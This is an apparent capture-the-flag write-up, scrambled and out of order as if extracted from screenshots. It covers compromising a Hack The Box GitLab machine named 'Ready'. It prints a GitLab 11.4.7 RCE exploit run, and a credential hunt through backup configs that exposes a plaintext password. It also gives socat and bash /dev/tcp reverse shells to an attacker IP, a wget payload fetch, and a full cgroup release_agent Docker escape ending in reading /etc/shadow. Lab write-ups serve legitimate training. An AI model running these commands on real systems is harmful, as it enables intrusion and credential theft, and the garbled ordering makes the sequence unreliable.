Ready Linux 🕀 30 # 3789 🙎 4475

Enter a caption for this image (optional)

We can run masscan_to_nmap.py, a tool I made that you can find on my Github. It runs a Masscan,

identifies open ports, and then takes those open ports over to Nmap, and scans for versions and

Ready - 13th March 2021

10.10.10.220

Scanning

default scripts against those ports.

5080/tcp open http

.ab Community Edition

source software to collaborate on code

Git repositories with fine-grained access controls that keep your ture. Perform code reviews and enhance collaboration with merge

If we traverse to /help, we are given the version of this gitlab

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GitLab is open source software to collaborate on code.

Snippets

Enumeration

5080

[13-Mar-21 11:15:49 GMT] ready/enum → sudo python3 masscan_to_nmap.py -i 10.10.10.220 Running Masscan on network tun0 against the IP 10.10.10.220 to quickly identify open ports Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-03-13 11:15:51 GMT Initiating SYN Stealth Scan hosts [131070 ports/host] **PORT** STATE SERVICE VERSION OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 22/tcp open | ssh-hostkey: 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA) 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA) 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)

| /dashboard /projects/new /groups/new /groups/*/edit /users /help

_Requested resource was http://10.10.10.220:5080/users/sign_in

Aggressive OS guesses: Linux 4.15 - 5.6 (94%), Linux 5.3 - 5.4 (94%),

Crestron XPanel control system (91%), Linux 5.4 (91%)

The **SSH** service on port **22** doesn't have any known vulneraibilities, so let's move on to look at **port**

Linux 2.6.32 (94%), Linux 5.0 - 5.3 (93%), Linux 3.1 (93%), Linux 3.2 (93%) , AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%), Linux 5.0 (91%),

Sign in

Full name

test

Register

|_http-trane-info: Problem with XML parsing of /evox/about

nginx | http-robots.txt: 53 disallowed entries (15 shown) //autocomplete/users/search/api/admin/profile

If we traverse to http://10.10.10.220:5080, and we get this **gitlab** page

|_/s/ /snippets/new /snippets/*/edit http-title: Sign in \xC2\xB7 GitLab

Username 5. Each project can also have an issue tracker and a wiki. test12 Username is available. **Email Email confirmation Password** Minimum length is 8 characters Register We can **make an account** and we are signed in to the dashbaord

Kali Tools 🂆 Kali Docs 🥄 Kali Forums 🛝 NetHunter 👖 Offensive Security 🐁 Exploit-DB 🛸 GHDB 👖 MSFU

GitLab Community Edition 11.4.7

Manage git repositories with fine-grained access controls that keep your code secure.

- RCE (Authenticated) - Remote Code Execution

usage: gitlab_rce.py <http://gitlab:port> <local-ip>

Gitlab Exploit by dotPY [insert fancy ascii art]

Getting version of http://10.10.10.220:5080 - 200 The Version seems to be 11.4.7! Choose wisely

type a number and hit enter to choose exploit: 0

registering PIWeb9S30F:VnKUBiGsZZ - 200

registering HZhDUHHpR7:Ykc8fYZxD3 - 200

→ python3 gitlab_rce.py http://10.10.10.220:5080 10.10.14.11

Start a listener on port 42069 and hit enter (nc -vlnp 42069)

Remote Code Execution (Authenticated)

Perform code reviews and enhance collaboration with merge requests.

Well, let's go and ask searchsploit if we have anything lying around to exploit gitlab version 11.4.7 searchsploit gitlab 11.4.7 Exploit Title

Authenticated Enum

🔏 10.10.10.220:5080/help

Milestones

Help → Help

Exploit I found the searchsploit exploits **unstable**, so I found this one on github instead: https://github.com/dotPY-hax/gitlab_RCE/blob/main/gitlab_rce.py

→ python3 gitlab_rce.py

hacking in progress - 200 delete user HZhDUHHpR7 - 200

Following the interactive options in this exploit gives us a shell

We have a couple, which is great!

delete user PIWeb9S30F - 200 [0] - GitlabRCE1147 - RCE for Version ≤ 11.4.7 [1] - GitlabRCE1281LFIUser - LFI for version 10.4-12.8.1 and maybe [2] - GitlabRCE1281RCE - RCE for version 12.4.0-12.8.1 - !! RUBY RE VERSE SHELL IS VERY UNRELIABLE!! WIP

→ sudo nc -nvlp 42069

Gitlab Shell

listening on [any] 42069 ... connect to [10.10.14.11] from (UNKNOWN) [10.10.10.220] 57194 bash: cannot set terminal process group (487): Inappropriate ioctl for device bash: no job control in this shell git@gitlab:~/gitlab-rails/working\$ whoami whoami git git@gitlab:~/gitlab-rails/working\$

git@gitlab:/home/dude\$ ls

git@gitlab:/home/dude\$ cat user.txt

4.0K -rw-r--r-- 1 root root 872 Dec 7 09:25 docker-compose.yml 16K -rw-r--r-- 1 root root 15K Dec 1 16:23 gitlab-secrets.json

Let's sift through these files for sensitive information by running cat * | grep -i password . This

gitlab_rails['incoming_email_password'] = "[REDACTED] password: '_the_password_of_the_bind_user' password: '_the_password_of_the_bind_user'

Change the initial default admin password and shar # gitlab_rails['initial_root_password'] = "password"

gitlab shell['http settings'] = { user: 'username'. p

gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"

To try and use this password to sign in as different users, we need to use su. And to use su we

80K -rw-r--r-- 1 root root 78K Dec 1 19:20 gitlab.rb

user.txt

git@gitlab:/opt/backup\$ ls -lash *

will read all the files, and filter the lines that contain password.

Email account password

'/users/password',

gitlab_rails['db_password'] = nil # gitlab_rails['redis_password'

We find the following creds: "wW59U!ZKMbG9+*#h"

need a better shell. Which I'm going to get with socat

in kali start listener

chmod +x socat

And we get our better shell

git@gitlab:/tmp\$ whoami

git@gitlab:/tmp\$

And that's the box rooted!

chmod +x socat

git@gitlab:/tmp\$ chmod +x socat

socat file:`tty`,raw,echo=0 tcp-listen:4444

Enumeration II It seems to me that we're in a **docker container**. So we'll need to try and escape this at some point and get onto the main host OS....but for now, let's look at what information is around the machine In the /opt/backup directory, we find some interesting files

ls -lash *

Now let's focus on escalating our privileges

From this shell, we can go and get the **user flag**

• The - i flag in grep means ignore the case of the phrase provided, and return any case, i.e. password or PASSWORD or PASSword

Upgrade Shell

 Retrieve the binary from here: https://github.com/andrew-d/staticbinaries/blob/master/binaries/linux/x86_64/socat • then host it in a temporary web server with sudo python3 -m http.server 80 • Summon it from the victim's shell in /tmp via wget http://[yourIP]/socat

#in victim give socat permissions and then execute reverse shell

./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.11:4444

git@gitlab:/tmp\$./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.11:4444

git@gitlab:/tmp\$./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.11:4444

<ec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.11:4444 → socat file: `tty`,raw,echo=0 tcp-listen:4444

<ec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.11:4444

PrivEsc

We can run su and enter the password "wW59U!ZKMbG9+*#h" to authenticate as **root**.

git@gitlab:/tmp\$ su

Password:

But as we're in a Docker, we aren't Root on the host, which doesn't count as rooting the machine!

root@gitlab:/tmp# cat /root/root.txt

cat: /root/root.txt: No such file or directory root@gitlab:/tmp# **Docker Escape to Host** HackTricks has some guidance for us on the moves we can make when running as Root in a docker:

We'll be using the **Second** PoC on this page. Have your netcat listener ready mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

echo 1 > /tmp/cgrp/x/notify_on_release $host_path=$ `sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "\$host_path/cmd" > /tmp/cgrp/release_agent echo '#!/bin/bash' > /cmd

https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout#i-own-root

echo "bash -i >& /dev/tcp/10.10.14.11/5353 0>&1" >> /cmd chmod a+x /cmd sh -c "echo \\$\\$ > /tmp/cgrp/x/cgroup.procs" # shell normally appears by now.

root@gitlab:/# echo 1 > /tmp/cgrp/x/notify_on_release root@gitlab:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` root@gitlab:/# echo "\$host_path/cmd" > /tmp/cgrp/release_agent
root@gitlab:/# echo '#!/bin/bash' > /cmd

root@gitlab:/# echo "bash -i >& /dev/tcp/10.10.14.11/5353 0>&1" >> /cmd root@gitlab:/# chmod a+x /cmd

root@gitlab:/# sh -c "echo \\$\\$ > /tmp/cgrp/x/cgroup.procs" root@gitlab:/#

→ sudo nc -nvlp 5353 listening on [any] 5353 ... connect to [10.10.14.11] from (UNKNOWN) [10.10.10.220] 54376 bash: cannot set terminal process group (-1): Inappropriate ioctl for device bash: no job control in this shell root@ready:/# cat /root/root.txt & cat /etc/shadow cat /root/root.txt & cat /etc/shadow